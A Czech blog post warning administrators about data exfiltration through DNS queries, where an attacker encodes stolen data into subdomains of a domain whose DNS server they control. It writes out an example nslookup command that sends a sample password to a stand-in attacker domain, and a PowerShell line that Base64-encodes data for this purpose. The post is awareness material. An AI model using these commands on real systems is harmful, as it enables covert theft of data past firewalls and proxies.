Skip Ribbon Commands
Skip to main content

Ondrej Sevecek's Blog

:

Engineering and troubleshooting by Directory Master!
Ondrej Sevecek's Blog > Posts > Myslíte si, že vidíte všechno, co odchází do internetu?
srpen 06
Myslíte si, že vidíte všechno, co odchází do internetu?

Jste si jistí? Poslední hitovka je komunikace skrze firewally pomocí DNS. Inspektujete DNS? Ha? Já zde uvedu jenom tu nejjednodušší a nejtrapnější formu, na zbytek se přijďte podívat na Williho přednášku na konferenci HackerFest. Dneska jsem se zhrozil, jak brzo to už bude!!!

Jestli mají vaše firemní počítače alespoň nějaký, možná i omezený, přístup do internetu, tak to znamená, že mohou generovat DNS dotazy. Buď jim tuto službu je ochoten obstarat vnitřní DNS server, což pak znamená, že dokonce mohou dostat odpověď. Pokud jsou natolik blokovaní, že musí chodit do internetu přes proxy, pořád mohou generovat alespoň dotazy - když se pokusí přes proxy přistoupit na nějakou stránku, proxy sama si musí vygenerovat DNS dotaz, že?

No a to je celá věda.

Představte si, že si útočník koupí prostě nějakou stupidní doménu a pro ni si za pár korun zařídí někde svůj DNS server - stačí třeba Azure trialka. To je otázka pár minut a nějaké anonymní blesk peněženky.

Když potom chce odeslat nenápadně data z napadeného počítače do internetu, stačí vygenerovat DNS dotaz na nějaké neexistující jméno ze své domény. A do toho jména proště zakódovat data. U sebe na DNS serveru to nechá odmítnout jako neexistující a přitom si to odchytává a rekonstruuje.

Příkladem je dotaz na něco takového:

nslookup hesloTohoBlaznaJePwd123.nesmyslnyutocnikxx.cz

Pokud to nejde zadat do nslookup, stačí to napsat do prohlížeče a proxy už se zeptá za vás.

Pokud funguje přímá DNS metoda a nemusíte chodit přes HTTP proxy, může dokonce komunikace probíhat obousměrně, protože do DNS odpovědí je možno vložit mnoho dat - zvlášť dneska, když mohou být větší než 512 byte kvůli DNSSEC, což už všichni podporují.

Samozřejmě to rádi zakódujete, protože DNS jména mohou obsahovat jen písmena, čísla, pomlčku a tečku. Takže krásně použijete Base-64. V powershellu třeba takto:

[Convert]::ToBase64String(([Text.ASCIIEncoding]::ASCII.GetBytes('hesloTohoBlaznaJePwd123'))).Replace('=', '-').Replace('/', '.')

A je to venku :-)

Na to, jak to útočníci optimalizují na objem, zašifrování, kompresi, obousměrnou komunikaci, steganografii a jak se tomu alespoň trošku bránit se přijďte podívat na letošní HackerFest.

Comments

There are no comments for this post.

Add Comment

Title


Pole Title nemusíte vyplňovat, doplní se to samo na stejnou hodnotu jako je nadpis článku.

Author *


Pole Author nesmí být stejné jako pole Title! Mám to tu jako ochranu proti spamu. Roboti to nevyplní dobře :-)

Body *


Type number two as digit *


Semhle vyplňte číslici dvě. Předchozí antispemové pole nefunguje úplně dokonale, zdá se, že jsou i spamery, které pochopily, že je občas potřeba vyplnit autora :-)

Email


Emailová adresa, pokud na ni chcete ode mě dostat odpověď. Nikdo jiný než já vaši emailovou adresu neuvidí.

Attachments